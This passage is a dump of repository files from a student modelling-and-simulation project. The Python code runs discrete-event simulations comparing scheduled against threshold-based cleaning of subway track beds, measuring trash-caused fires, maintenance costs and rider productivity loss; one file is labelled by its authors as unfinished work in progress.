time_elapsed\n self.time = self.time + time_elapsed\n print(\"FIRE BASELINE\")\n self.num_fires_baseline = self.num_fires_baseline + 1\n self.clean_baseline(True) # Note: that this changes self.next_fire_arrival_baseline to infinity\n if nfab == nfaa:\n # syncd: fire arrives at both stations\n print(\"FIRE ALT\")\n self.num_fires_alt = self.num_fires_alt + 1\n self.clean_alt(True)\n else:\n # not syncd: fire arrives only at baseline station\n self.next_fire_arrival_alt = self.next_fire_arrival_alt - time_elapsed\n else: # self.next_fire_arrival_alt alone is the min\n time_elapsed = self.next_fire_arrival_alt\n self.next_scheduled_cleaning = self.next_scheduled_cleaning - time_elapsed\n self.next_trash_arrival = self.next_trash_arrival - time_elapsed\n self.next_fire_arrival_baseline = self.next_fire_arrival_baseline - time_elapsed\n self.time = self.time + time_elapsed\n self.num_fires_alt = self.num_fires_alt + 1\n print(\"FIRE ALT\")\n self.clean_alt(True)\n\nprint(\"Starting\")\n# s1 = Station(40000000, 2, 6000, 30240)\n# s1 = Station(200000, 1, 6000, 30240)\n# s1 = Station(20000000, 1, 10000, 60000)\n# s1 = Station(40000000, 1, 6000, 60000)\n# s1 = Station(20000000.0, 1.0, 6000, 30240)\n# s1 = Station(40000000.0, 2.0, 6000, 30240)\n# s1 = Station(2000000.0, 1.0, 6000, 250000)\ns1 = Station(3000000.0, 2.0, 6000, 100000)\nnum_reps = 50\n\nfires_baseline = []\nfires_alt = []\ncleanings_baseline = []\ncleanings_alt = []\nfor i in range(num_reps):\n s1.simulate(525600)\n s1.print_year_simulation_summary()\n fires_baseline.append(s1.num_fires_baseline)\n fires_alt.append(s1.num_fires_alt)\n cleanings_baseline.append(s1.num_cleanings_baseline)\n cleanings_alt.append(s1.num_cleanings_alt)\n\nprint(\"\\nFires baseline\")\nprint(fires_baseline)\nprint(sum(fires_baseline)/len(fires_baseline))\nprint(statistics.stdev(fires_baseline))\n\nprint(\"\\nFires alt\")\nprint(fires_alt)\nprint(sum(fires_alt)/len(fires_alt))\nprint(statistics.stdev(fires_alt))\n\nprint(\"\\nCleanings baseline\")\nprint(cleanings_baseline)\nprint(sum(cleanings_baseline)/len(cleanings_baseline))\nprint(statistics.stdev(cleanings_baseline))\n\nprint(\"\\nCleanings alt\")\nprint(cleanings_alt)\nprint(sum(cleanings_alt)/len(cleanings_alt))\nprint(statistics.stdev(cleanings_alt))\n\n\n\n# reps = []\n# for i in range(num_reps):\n# s1.simulate(525600)\n# s1.print_state()\n# reps.append((s1.num_fires_baseline, s1.num_cleanings_baseline))\n# print()\n# print([x[0] for x in reps])\n# print(sum([x[0] for x in reps])/len([x[0] for x in reps]))\n# print(statistics.stdev([x[0] for x in reps]))\n#\n# print([x[1] for x in reps])\n# print(sum([x[1] for x in reps])/len([x[1] for x in reps]))\n# print(statistics.stdev([x[1] for x in reps]))\n\n\n\n\n" }, { "alpha_fraction": 0.6080672144889832, "alphanum_fraction": 0.6244184374809265, "avg_line_length": 48.85585403442383, "blob_id": "697ab7f1a2f33d83b291dd6b31e4149089993a9c", "content_id": "7c3d33a0396eb367dbcc3db8d339dc314b8bf598", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 22139, "license_type": "no_license", "max_line_length": 171, "num_lines": 444, "path": "/mtasim/sync/syncprod.py", "repo_name": "mtlynch3/MTA-Simulation", "src_encoding": "UTF-8", "text": "import math\nimport random\nimport statistics\nfrom collections import deque\nimport numpy\n\n\nclass Station:\n\n def __init__(self, annual_ridership, num_track_beds, trash_threshold, cleaning_rate):\n # SHARED\n self.annual_ridership = annual_ridership\n self.num_track_beds = num_track_beds\n\n # SPECIFIC: demand sim\n self.trash_threshold = trash_threshold\n\n # SPECIFIC: baseline sim\n self.cleaning_rate = cleaning_rate\n self.next_scheduled_cleaning = 0.0\n\n # SHARED\n # (1.0/100000000) chosen to yield rate of approximately 1/5\n # i.e. 1 unit of trash arriving every five minutes at the BUSIEST stations\n # self.trash_arrival_rate_scalar = 1.0/190\n self.trash_arrival_rate_scalar = 1.0/380\n number_of_minutes_per_year = 525600\n self.riders_per_minute_per_track = ((annual_ridership/num_track_beds)/number_of_minutes_per_year)\n self.trash_arrival_rate = self.trash_arrival_rate_scalar * self.riders_per_minute_per_track\n # Choose fire_arrival_rate_scalar to yield approximately two fires per year at the busiest stations\n self.fire_arrival_rate_scalar = 1.0/100000000\n\n # SHARED\n self.next_fire_arrival_uniform = 0.0\n self.next_trash_arrival = 0.0\n\n # SHARED\n # Units: minutes\n self.time = 0.0\n\n # Shared\n self.maintenance_delay = 0.0\n self.cost_of_track_cleaning_fireless = 10000.0\n self.cost_of_track_cleaning_fire = 30000.0\n\n ######## Productivity Loss\n self.wage_per_minute = 0.56667 # dollars - equivalent to $34/hr\n self.minutes_per_cleaning = 90\n self.minutes_per_fire_repair = 270\n self.pl_nofire_baseline = []\n self.pl_nofire_alt = []\n self.pl_fire_baseline = []\n self.pl_fire_alt = []\n ######## /Productivity Loss\n\n # SPECIFIC: baseline sim\n self.aggregate_trash_baseline = 0\n self.num_cleanings_baseline = 0\n self.num_scheduled_cleanings = 0\n self.num_fires_baseline = 0\n self.next_fire_arrival_baseline = 0.0\n self.fire_arrival_rate_baseline = 0.0\n self.total_maintenance_cost_baseline = 0.0\n self.total_productivity_loss_baseline = 0.0\n\n # SPECIFIC: demand sim\n self.aggregate_trash_alt = 0\n self.num_cleanings_alt = 0\n self.num_threshold_cleanings = 0\n self.num_fires_alt = 0\n self.next_fire_arrival_alt = 0.0\n self.fire_arrival_rate_alt = 0.0\n self.total_maintenance_cost_alt = 0.0\n self.total_productivity_loss_alt = 0.0\n\n def initialize_simulation(self):\n # initialize time\n self.time = 0.0\n\n # initialize values for baseline sim\n self.aggregate_trash_baseline = 0\n self.num_cleanings_baseline = 0\n self.num_scheduled_cleanings = 0\n self.num_fires_baseline = 0\n self.total_maintenance_cost_baseline = 0.0\n self.total_productivity_loss_baseline = 0.0\n\n # initialize values for alt sim\n self.aggregate_trash_alt = 0\n self.num_cleanings_alt = 0\n self.num_threshold_cleanings = 0\n self.num_fires_alt = 0\n self.total_maintenance_cost_alt = 0.0\n self.total_productivity_loss_alt = 0.0\n\n ######## Productivity Loss\n self.pl_nofire_baseline = []\n self.pl_nofire_alt = []\n self.pl_fire_baseline = []\n self.pl_fire_alt = []\n ######## /Productivity Loss\n\n # to be used for fire_arrivals\n self.next_fire_arrival_uniform = 0.0\n # initialize residual clocks\n self.next_trash_arrival = random.expovariate(self.trash_arrival_rate)\n self.next_fire_arrival_baseline = math.inf\n self.next_fire_arrival_alt = math.inf\n self.next_scheduled_cleaning = self.cleaning_rate\n\n def print_state(self):\n # TODO: Add alt stuff\n print(\"--------------------------------\")\n print(\"Current Time: \" + str(self.time))\n print(\"Aggregate Trash: \" + str(self.aggregate_trash_baseline))\n print(\"Time until next trash: \" + str(self.next_trash_arrival))\n print(\"Time until next cleaning: \" + str(self.next_scheduled_cleaning))\n print(\"Time until next fire: \" + str(self.next_fire_arrival_baseline))\n print(\"\\nFire arrival rate: \" + str(self.fire_arrival_rate_baseline))\n print(\"\\nNumber of cleanings to date:\" + str(self.num_cleanings_baseline))\n print(\"Number of scheduled cleanings to date:\" + str(self.num_scheduled_cleanings))\n print(\"Number of fires to date:\" + str(self.num_fires_baseline))\n print(\"--------------------------------\\n\\n\")\n\n def print_year_simulation_summary(self):\n print(\"--------------------------------\")\n print(\"Current Time: \" + str(self.time))\n print(\"Baseline: Number of cleanings to date:\" + str(self.num_cleanings_baseline))\n print(\"Baseline: Number of scheduled cleanings to date:\" + str(self.num_scheduled_cleanings))\n print(\"Baseline: Number of fires to date:\" + str(self.num_fires_baseline))\n print(\"Baseline: Total Maintenance Cost:\" + str(self.total_maintenance_cost_baseline))\n print(\"Alt: Number of cleanings to date:\" + str(self.num_cleanings_alt))\n print(\"Alt: Number of threshold cleanings to date:\" + str(self.num_threshold_cleanings))\n print(\"Alt: Number of fires to date:\" + str(self.num_fires_alt))\n print(\"Alt: Total Maintenance Cost:\" + str(self.total_maintenance_cost_alt))\n print(\"--------------------------------\")\n\n def recalculate_next_fire_arrival(self):\n # set fire arrival rate based on aggregate trash\n self.fire_arrival_rate_baseline = self.fire_arrival_rate_scalar * self.aggregate_trash_baseline\n self.fire_arrival_rate_alt = self.fire_arrival_rate_scalar * self.aggregate_trash_alt\n # generate one uniform random variable that will be used to calc the exponential for both sims\n self.next_fire_arrival_uniform = numpy.random.uniform(0.0,1.0)\n # set both sims next fire based on the uniform and their respective levels of aggregate trash\n # or set them to infinity if there is no trash in their station\n if self.aggregate_trash_baseline == 0:\n self.next_fire_arrival_baseline = math.inf\n else:\n self.next_fire_arrival_baseline = (-1.0 / self.fire_arrival_rate_baseline) * math.log(1 - self.next_fire_arrival_uniform)\n if self.aggregate_trash_alt == 0:\n self.next_fire_arrival_alt = math.inf\n else:\n self.next_fire_arrival_alt = (-1.0 / self.fire_arrival_rate_alt) * math.log(1 - self.next_fire_arrival_uniform)\n\n def generate_random_prod_loss(self, rate, duration):\n num_riders = numpy.random.poisson(rate * duration, 1)[0]\n loss = 0.0\n for i in range(num_riders):\n additional = self.wage_per_minute * duration * random.random()\n loss = loss + additional\n return loss\n\n def increase_productivity_loss(self, baseline, fire):\n if baseline:\n prod_loss = 0.0\n if fire:\n if len(self.pl_fire_alt) > 0:\n prod_loss = self.pl_fire_alt.pop(0)\n else:\n prod_loss = self.generate_random_prod_loss(self.riders_per_minute_per_track, self.minutes_per_fire_repair)\n self.pl_fire_baseline.append(prod_loss)\n else:\n if len(self.pl_nofire_alt) > 0:\n prod_loss = self.pl_nofire_alt.pop(0)\n else:\n prod_loss = self.generate_random_prod_loss(self.riders_per_minute_per_track, self.minutes_per_cleaning)\n self.pl_nofire_baseline.append(prod_loss)\n self.total_productivity_loss_baseline = self.total_productivity_loss_baseline + prod_loss\n print(\"******** Increasing Baseline Prod Loss by: \" + str(prod_loss))\n else:\n prod_loss = 0.0\n if fire:\n if len(self.pl_fire_baseline) > 0:\n prod_loss = self.pl_fire_baseline.pop(0)\n else:\n prod_loss = self.generate_random_prod_loss(self.riders_per_minute_per_track, self.minutes_per_fire_repair)\n self.pl_fire_alt.append(prod_loss)\n else:\n if len(self.pl_nofire_baseline) > 0:\n prod_loss = self.pl_nofire_baseline.pop(0)\n else:\n prod_loss = self.generate_random_prod_loss(self.riders_per_minute_per_track, self.minutes_per_cleaning)\n self.pl_nofire_alt.append(prod_loss)\n self.total_productivity_loss_alt = self.total_productivity_loss_alt + prod_loss\n print(\"******** Increasing Alt Prod Loss by: \" + str(prod_loss))\n\n\n def clean_baseline(self, fire):\n self.num_cleanings_baseline = self.num_cleanings_baseline + 1\n self.aggregate_trash_baseline = 0\n # Include some time delay for the cleaning and add to productivity loss\n # Should depend on if fire == True\n # set new residual clock for baseline_station_reopens\n if fire:\n self.total_maintenance_cost_baseline = self.total_maintenance_cost_baseline + self.cost_of_track_cleaning_fire\n # increment productivity loss\n self.increase_productivity_loss(True, True)\n else:\n self.total_maintenance_cost_baseline = self.total_maintenance_cost_baseline + self.cost_of_track_cleaning_fireless\n self.num_scheduled_cleanings = self.num_scheduled_cleanings + 1\n # increment productivity loss\n self.increase_productivity_loss(True, False)\n self.next_fire_arrival_baseline = math.inf\n\n def clean_alt(self, fire):\n self.num_cleanings_alt = self.num_cleanings_alt + 1\n self.aggregate_trash_alt = 0\n # Include some time delay for the cleaning and add to productivity loss\n # Should depend on if fire == True\n # set new residual clock for alt_station_reopens\n if fire:\n self.total_maintenance_cost_alt = self.total_maintenance_cost_alt + self.cost_of_track_cleaning_fire\n # increment productivity loss\n self.increase_productivity_loss(False, True)\n else:\n self.total_maintenance_cost_alt = self.total_maintenance_cost_alt + self.cost_of_track_cleaning_fireless\n self.num_threshold_cleanings = self.num_threshold_cleanings + 1\n # increment productivity loss\n self.increase_productivity_loss(False, False)\n self.next_fire_arrival_alt = math.inf\n\n def simulate(self, end_time):\n # initialize start of simulation\n self.initialize_simulation()\n while self.time < end_time:\n smallest_residual = min(self.next_trash_arrival, self.next_scheduled_cleaning,\n self.next_fire_arrival_baseline, self.next_fire_arrival_alt)\n if self.next_trash_arrival == smallest_residual:\n time_elapsed = self.next_trash_arrival\n self.next_scheduled_cleaning = self.next_scheduled_cleaning - time_elapsed\n self.next_trash_arrival = random.expovariate(self.trash_arrival_rate)\n self.time = self.time + time_elapsed\n # TODO: In future, add check for if station is being cleaned before incrementing aggregate trash\n self.aggregate_trash_baseline = self.aggregate_trash_baseline + 1\n self.aggregate_trash_alt = self.aggregate_trash_alt + 1\n if self.aggregate_trash_alt > self.trash_threshold:\n print(\"tct: \" + str(self.time))\n self.clean_alt(False)\n # We ALWAYS need to recalculate next fire arrival upon trash arrival\n self.recalculate_next_fire_arrival()\n elif self.next_scheduled_cleaning == smallest_residual:\n time_elapsed = self.next_scheduled_cleaning\n self.next_trash_arrival = self.next_trash_arrival - time_elapsed\n self.next_fire_arrival_alt = self.next_fire_arrival_alt - time_elapsed\n self.next_scheduled_cleaning = self.cleaning_rate\n self.time = self.time + time_elapsed\n print(\"scat: \" + str(self.aggregate_trash_baseline))\n self.clean_baseline(False)\n elif self.next_fire_arrival_baseline == smallest_residual:\n nfab = self.next_fire_arrival_baseline\n nfaa = self.next_fire_arrival_alt\n time_elapsed = self.next_fire_arrival_baseline\n self.next_scheduled_cleaning = self.next_scheduled_cleaning - time_elapsed\n self.next_trash_arrival = self.next_trash_arrival - time_elapsed\n self.time = self.time + time_elapsed\n print(\"FIRE BASELINE\")\n self.num_fires_baseline = self.num_fires_baseline + 1\n self.clean_baseline(True) # Note: that this changes self.next_fire_arrival_baseline to infinity\n if nfab == nfaa:\n # syncd: fire arrives at both stations\n print(\"FIRE ALT\")\n self.num_fires_alt = self.num_fires_alt + 1\n self.clean_alt(True)\n else:\n # not syncd: fire arrives only at baseline station\n self.next_fire_arrival_alt = self.next_fire_arrival_alt - time_elapsed\n else: # self.next_fire_arrival_alt alone is the min\n time_elapsed = self.next_fire_arrival_alt\n self.next_scheduled_cleaning = self.next_scheduled_cleaning - time_elapsed\n self.next_trash_arrival = self.next_trash_arrival - time_elapsed\n self.next_fire_arrival_baseline = self.next_fire_arrival_baseline - time_elapsed\n self.time = self.time + time_elapsed\n self.num_fires_alt = self.num_fires_alt + 1\n print(\"FIRE ALT\")\n self.clean_alt(True)\n\n\ndef calculate_confidence_intervals(data, num_reps, Z):\n sample_mean = sum(data)/float(len(data))\n stddev = statistics.stdev(data)\n ci_plus_minus = (Z * stddev) / math.sqrt(num_reps)\n return sample_mean, stddev, ci_plus_minus\n\n\ndef run_simulations(annual_ridership, num_track_beds, trash_threshold, cleaning_rate, comparison_var, limit = None):\n print(\"Starting\")\n s1 = Station(annual_ridership, num_track_beds, trash_threshold, cleaning_rate)\n print()\n print(\"Annual ridership: \" + str(s1.annual_ridership))\n print(\"Number of Track Beds: \" + str(s1.num_track_beds))\n print(\"Trash Threshold: \" + str(s1.trash_threshold))\n print(\"Cleaning Period: \" + str(s1.cleaning_rate))\n print(\"Trash arrival rate (number of units of trash per minute): \" + str(s1.trash_arrival_rate))\n print(\"Expected aggregation of trash in 1 cleaning period: \" + str(s1.trash_arrival_rate * s1.cleaning_rate))\n print()\n fires_baseline = []\n fires_alt = []\n cleanings_baseline = []\n scheduled_cleanings = []\n cleanings_alt = []\n threshold_cleanings = []\n maintenance_cost_baseline = []\n maintenance_cost_alt = []\n productivity_loss_baseline = []\n productivity_loss_alt = []\n Z = 1.96 # z-value for interval formula\n reps = 0\n while True:\n reps = reps + 1\n s1.simulate(525600)\n s1.print_year_simulation_summary()\n fires_baseline.append(s1.num_fires_baseline)\n fires_alt.append(s1.num_fires_alt)\n cleanings_baseline.append(s1.num_cleanings_baseline)\n scheduled_cleanings.append(s1.num_scheduled_cleanings)\n cleanings_alt.append(s1.num_cleanings_alt)\n threshold_cleanings.append(s1.num_threshold_cleanings)\n maintenance_cost_baseline.append(s1.total_maintenance_cost_baseline)\n maintenance_cost_alt.append(s1.total_maintenance_cost_alt)\n productivity_loss_baseline.append(s1.total_productivity_loss_baseline)\n productivity_loss_alt.append(s1.total_productivity_loss_alt)\n # CI stuff\n if reps > 10:\n fires_sample_mean_baseline, fires_stddev_baseline, fires_ci_baseline = calculate_confidence_intervals(fires_baseline, reps, Z)\n fires_sample_mean_alt, fires_stddev_alt, fires_ci_alt = calculate_confidence_intervals(fires_alt, reps, Z)\n maintenance_sample_mean_baseline, maintenance_stddev_baseline, maintenance_ci_baseline = calculate_confidence_intervals(maintenance_cost_baseline, reps, Z)\n maintenance_sample_mean_alt, maintenance_stddev_alt, maintenance_ci_alt = calculate_confidence_intervals(maintenance_cost_alt, reps, Z)\n productivity_sample_mean_baseline, productivity_stddev_baseline, productivity_ci_baseline = calculate_confidence_intervals(productivity_loss_baseline, reps, Z)\n productivity_sample_mean_alt, productivity_stddev_alt, productivity_ci_alt = calculate_confidence_intervals(productivity_loss_alt, reps, Z)\n print(\"number of yearlong simulations run: \" + str(reps))\n print(\"baseline fires: \" + str(fires_sample_mean_baseline) + \" +/- \" + str(fires_ci_baseline))\n print(\"alt fires: \" + str(fires_sample_mean_alt) + \" +/- \" + str(fires_ci_alt))\n print(\"baseline maintenance: \" + str(maintenance_sample_mean_baseline) + \" +/- \" + str(maintenance_ci_baseline))\n print(\"alt maintenance: \" + str(maintenance_sample_mean_alt) + \" +/- \" + str(maintenance_ci_alt))\n print(\"baseline productivity loss: \" + str(productivity_sample_mean_baseline) + \" +/- \" + str(productivity_ci_baseline))\n print(\"alt productivity loss: \" + str(productivity_sample_mean_alt) + \" +/- \" + str(productivity_ci_alt))\n print(\"\\n\\n\\n\")\n if comparison_var == \"fires\":\n if fires_sample_mean_baseline > fires_sample_mean_alt:\n if fires_sample_mean_baseline - fires_ci_baseline > fires_sample_mean_alt + fires_ci_alt:\n print(\"FIRES WINDOWS NO LONGER OVERLAP\")\n break\n else:\n if fires_sample_mean_alt - fires_ci_alt > fires_sample_mean_baseline + fires_ci_baseline:\n print(\"FIRES WINDOWS NO LONGER OVERLAP\")\n break\n elif comparison_var == \"maintenance\":\n if maintenance_sample_mean_baseline > maintenance_sample_mean_alt:\n if maintenance_sample_mean_baseline - maintenance_ci_baseline > maintenance_sample_mean_alt + maintenance_ci_alt:\n print(\"MAINTENANCE WINDOWS NO LONGER OVERLAP\")\n break\n else:\n if maintenance_sample_mean_alt - maintenance_ci_alt > maintenance_sample_mean_baseline + maintenance_ci_baseline:\n print(\"MAINTENANCE WINDOWS NO LONGER OVERLAP\")\n break\n elif comparison_var == \"productivity\":\n if productivity_sample_mean_baseline > productivity_sample_mean_alt:\n if productivity_sample_mean_baseline - productivity_ci_baseline > productivity_sample_mean_alt + productivity_ci_alt:\n print(\"PRODUCTIVITY WINDOWS NO LONGER OVERLAP\")\n break\n else:\n if productivity_sample_mean_alt - productivity_ci_alt > productivity_sample_mean_baseline + productivity_ci_baseline:\n print(\"PRODUCTIVITY LOSS WINDOWS NO LONGER OVERLAP\")\n break\n else:\n print(\"MUST PROVIDE COMPARISON VAR\")\n break\n if limit is not None:\n if reps >= limit:\n break\n\n print(\"\\nFires baseline\")\n # print(fires_baseline)\n print(sum(fires_baseline)/len(fires_baseline))\n print(statistics.stdev(fires_baseline))\n\n print(\"\\nFires alt\")\n # print(fires_alt)\n print(sum(fires_alt)/len(fires_alt))\n print(statistics.stdev(fires_alt))\n\n print(\"\\nCleanings baseline\")\n # print(cleanings_baseline)\n print(sum(cleanings_baseline)/len(cleanings_baseline))\n print(statistics.stdev(cleanings_baseline))\n\n print(\"\\nScheduled Cleanings baseline\")\n # print(cleanings_baseline)\n print(sum(scheduled_cleanings)/len(scheduled_cleanings))\n print(statistics.stdev(scheduled_cleanings))\n\n print(\"\\nCleanings alt\")\n # print(cleanings_alt)\n print(sum(cleanings_alt)/len(cleanings_alt))\n print(statistics.stdev(cleanings_alt))\n\n print(\"\\nThreshold Cleanings alt\")\n # print(cleanings_alt)\n print(sum(threshold_cleanings)/len(threshold_cleanings))\n print(statistics.stdev(threshold_cleanings))\n\n print(\"\\nMaintenance baseline\")\n # print(maintenance_cost_baseline)\n print(sum(maintenance_cost_baseline)/len(maintenance_cost_baseline))\n print(statistics.stdev(maintenance_cost_baseline))\n\n print(\"\\nMaintenance alt\")\n # print(maintenance_cost_alt)\n print(sum(maintenance_cost_alt)/len(maintenance_cost_alt))\n print(statistics.stdev(maintenance_cost_alt))\n\n print(\"\\nProductivity baseline\")\n # print(maintenance_cost_baseline)\n print(sum(productivity_loss_baseline)/len(productivity_loss_baseline))\n print(statistics.stdev(productivity_loss_baseline))\n\n print(\"\\nProductivity alt\")\n # print(maintenance_cost_alt)\n print(sum(productivity_loss_alt)/len(productivity_loss_alt))\n print(statistics.stdev(productivity_loss_alt))\n\n\n# run_simulations(20000000, 1, 2500, 30240, \"fires\", 50)\n# run_simulations(20000000, 1, 2500, 30240, \"maintenance\", 50)\n# run_simulations(3752400, 1, 1000, 65700, \"fires\")\n# run_simulations(3752400, 1, 1000, 65700, \"fires\")\n# run_simulations(3752400, 1, 1000, 65700, \"fires\")\n# run_simulations(3752400, 1, 1000, 65700, \"fires\")\n# run_simulations(3752400, 1, 1000, 65700, \"fires\")\n\n\n# run_simulations(13300000, 1, 1725, 36250, \"maintenance\", 1500)\n\nrun_simulations(25000000, 1, 2150, 26280, \"maintenance\", 1500)\n\n\n\n" }, { "alpha_fraction": 0.7441860437393188, "alphanum_fraction": 0.8139534592628479, "avg_line_length": 42, "blob_id": "da88b84b429a3b44a98c01d770b87b44079bdc8a", "content_id": "c519944f2a7e515b07f21975a41dee7577087810", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 43, "license_type": "no_license", "max_line_length": 42, "num_lines": 1, "path": "/docs/index.md", "repo_name": "mtlynch3/MTA-Simulation", "src_encoding": "UTF-8", "text": "CSCI 740 - Modeling and Simulation Project\n" }, { "alpha_fraction": 0.5630095601081848, "alphanum_fraction": 0.5865362286567688, "avg_line_length": 41.068626403808594, "blob_id": "319782525367e213c4d942a0d04778b279a1cef6", "content_id": "dd14c6f6ecdc41e0033c8e645169cf1ceae51b90", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8586, "license_type": "no_license", "max_line_length": 170, "num_lines": 204, "path": "/mtasim/syncd.py", "repo_name": "mtlynch3/MTA-Simulation", "src_encoding": "UTF-8", "text": "# NOTE: WIP: NOT FUNCTIONAL\n\nimport math\nimport random\nimport statistics\nfrom collections import deque\n\n\nclass Station:\n\n def __init__(self, annual_ridership, num_track_beds, trash_threshold, cleaning_rate):\n self.trash_arrival_rate_scalar = 1.0/100000000\n self.fire_arrival_rate_scalar = 1.0/1000000000\n\n self.annual_ridership = annual_ridership\n self.num_track_beds = num_track_beds\n\n self.trash_threshold = trash_threshold\n\n self.cleaning_rate = cleaning_rate\n self.next_scheduled_cleaning = 0.0\n self.num_scheduled_cleanings = 0\n\n self.maintenance_delay = 0.0\n\n # (1.0/100000000) chosen to yield rate of approximately 1/5\n # i.e. 1 unit of trash arriving every five minutes at the BUSIEST stations\n self.trash_arrival_rate = self.trash_arrival_rate_scalar * (annual_ridership/num_track_beds)\n\n # Units: minutes\n self.time = 0.0\n\n\n\n\n self.aggregate_trash = [0, 0]\n # self.aggregate_trash = 0\n\n self.fire_arrival_rate = [0.0, 0.0]\n # self.fire_arrival_rate = 0.0\n\n self.num_cleanings = [0, 0]\n # self.num_cleanings = 0\n\n self.num_fires = [0, 0]\n # self.num_fires = 0\n\n self.diverged = False\n self.shared_next_trash_arrivals = deque()\n self.next_trash_arrival = [0.0, 0.0]\n self.next_fire_arrival = [0.0, 0.0]\n # self.next_trash_arrival = 0.0\n # self.next_fire_arrival = 0.0\n\n def initialize_simulation(self):\n self.time = 0.0\n\n self.aggregate_trash = [0, 0]\n self.num_cleanings = [0, 0]\n self.num_scheduled_cleanings = 0\n self.num_fires = [0, 0]\n\n self.diverged = False\n self.shared_next_trash_arrivals = deque()\n\n tt = random.expovariate(self.trash_arrival_rate)\n self.next_trash_arrival = [tt, tt]\n self.next_fire_arrival = [math.inf, math.inf]\n self.next_scheduled_cleaning = self.cleaning_rate\n\n def print_state(self):\n for i in range(2):\n print((\"Periodic \" if i == 0 else \"Demand \") + \"--------------------------------\")\n print(\"Current Time: \" + str(self.time))\n print(\"Aggregate Trash: \" + str(self.aggregate_trash[i]))\n print(\"Time until next trash: \" + str(self.next_trash_arrival[i]))\n print(\"Time until next cleaning: \" + str(self.next_scheduled_cleaning))\n print(\"Time until next fire: \" + str(self.next_fire_arrival[i]))\n print(\"\\nFire arrival rate: \" + str(self.fire_arrival_rate[i]))\n print(\"\\nNumber of cleanings to date:\" + str(self.num_cleanings[i]))\n print(\"Number of scheduled cleanings to date:\" + str(self.num_scheduled_cleanings))\n print(\"Number of fires to date:\" + str(self.num_fires[i]))\n print(\"--------------------------------\\n\\n\")\n\n def recalculate_next_fire_arrival(self, s):\n # set fire arrival rate based on aggregate trash\n self.fire_arrival_rate[s] = self.fire_arrival_rate_scalar * self.aggregate_trash[s]\n # generate next_fire_arrival\n # TODO: MAKE SURE YOU USE THE SAME GENERATED RV'S FOR EACH SIM FOR NEXT_FIRE_ARRIVAL, IF POSSIBLE\n self.next_fire_arrival[s] = random.expovariate(self.fire_arrival_rate[s])\n\n def clean(self, s, fire):\n self.num_cleanings[s] = self.num_cleanings[s] + 1\n self.aggregate_trash[s] = 0\n # Include some time delay for the cleaning and add to productivity loss\n # Should depend on if fire == True\n # increment self.time by amount of time for cleaning / fire repair\n if not fire and s == 0:\n self.num_scheduled_cleanings = self.num_scheduled_cleanings + 1\n self.next_scheduled_cleaning = self.cleaning_rate\n self.next_trash_arrival[s] = random.expovariate(self.trash_arrival_rate)\n self.next_fire_arrival[s] = math.inf\n\n def dual_trash_arrival(self):\n # print(\"********* Trash Arrives\")\n time_elapsed = self.next_trash_arrival[0]\n self.time = self.time + time_elapsed\n aggregate_trash = self.aggregate_trash[0]\n self.aggregate_trash[0] = aggregate_trash + 1\n self.aggregate_trash[1] = aggregate_trash + 1\n # DONT FORGET TO ADD THRESHOLD CHECK\n self.next_scheduled_cleaning = self.next_scheduled_cleaning - time_elapsed\n next_trash_arrival = random.expovariate(self.trash_arrival_rate)\n self.next_trash_arrival[0] = next_trash_arrival\n self.recalculate_next_fire_arrival(0)\n if self.aggregate_trash[1] > self.trash_threshold:\n self.diverged = True\n self.threshold_cleaning()\n self.next_trash_arrival[1] = next_trash_arrival\n self.recalculate_next_fire_arrival(1)\n\n def trash_arrival(self, s):\n # DONT FORGET TO ADD THRESHOLD CHECK\n # print(\"********* Trash Arrives\")\n time_elapsed = self.next_trash_arrival\n self.aggregate_trash = self.aggregate_trash + 1\n self.next_scheduled_cleaning = self.next_scheduled_cleaning - time_elapsed\n self.next_trash_arrival = random.expovariate(self.trash_arrival_rate)\n self.time = self.time + time_elapsed\n self.recalculate_next_fire_arrival()\n\n def simulate(self, end_time):\n # initialize start of simulation\n self.initialize_simulation()\n\n while self.time < end_time:\n if self.diverged:\n min_time = min(self.next_scheduled_cleaning, self.next_fire_arrival[0], self.next_trash_arrival[0], self.next_fire_arrival[1], self.next_trash_arrival[1])\n if self.next_trash_arrival[0] == min_time:\n # process trash arrive for sim 0\n pass\n elif self.next_trash_arrival[1] == min_time:\n # process trash arrival for sim 1\n pass\n elif self.next_scheduled_cleaning == min_time:\n # process scheduled cleaning for sim 0\n pass\n elif self.next_fire_arrival[0] == min_time:\n # process fire arrival for sim 0\n pass\n else: # self.next_fire_arrival[1] == min_time?\n # process fire arrival for sim 1\n pass\n else:\n min_time = min(self.next_scheduled_cleaning, self.next_fire_arrival[0], self.next_trash_arrival[0])\n if self.next_trash_arrival[0] == min_time:\n # process trash arrival for both sims\n self.dual_trash_arrival()\n elif self.next_scheduled_cleaning[0] == min_time:\n # set to diverged\n # process scheduled cleaning\n pass\n else: # self.next_fire_arrival[0] == min_time?\n # process fire for both sims\n pass\n\n while self.time < end_time:\n if self.next_trash_arrival == min(self.next_scheduled_cleaning, self.next_fire_arrival, self.next_trash_arrival):\n # print(\"********* Trash Arrives\")\n time_elapsed = self.next_trash_arrival\n self.aggregate_trash = self.aggregate_trash + 1\n self.next_scheduled_cleaning = self.next_scheduled_cleaning - time_elapsed\n self.next_trash_arrival = random.expovariate(self.trash_arrival_rate)\n self.time = self.time + time_elapsed\n self.recalculate_next_fire_arrival()\n elif self.next_scheduled_cleaning == min(self.next_scheduled_cleaning, self.next_fire_arrival, self.next_trash_arrival):\n # print(\"********* Scheduled Cleaning\")\n time_elapsed = self.next_scheduled_cleaning\n self.time = self.time + time_elapsed\n self.clean(False)\n else: # next_fire_arrival is the min\n # self.print_state()\n # print(\"********* FIRE!!!\")\n time_elapsed = self.next_fire_arrival\n self.time = self.time + time_elapsed\n self.num_fires = self.num_fires + 1\n self.clean(True)\n\n\nprint(\"Starting\")\n# s1 = Station(40000000, 2, 6000, 30240)\n# s1 = Station(200000, 1, 6000, 30240)\n# s1 = Station(200000, 1, 6000, 250000)\ns1 = Station(40000000, 1, 6000, 60000)\nnum_reps = 50\nreps = []\nfor i in range(num_reps):\n s1.simulate(525600)\n s1.print_state()\n reps.append(s1.num_fires)\nprint()\nprint(reps)\nprint(sum(reps)/len(reps))\nprint(statistics.stdev(reps))\n\n\n\n\n" }, { "alpha_fraction": 0.5848888754844666, "alphanum_fraction": 0.614814817905426, "avg_line_length": 38.02312088012695, "blob_id": "b72a6f4a964478d83ccafddb9b79bcaddc49d7b5", "content_id": "8abb9f73854d98a877410edecba84f1acad79083", "detected_licenses": [], 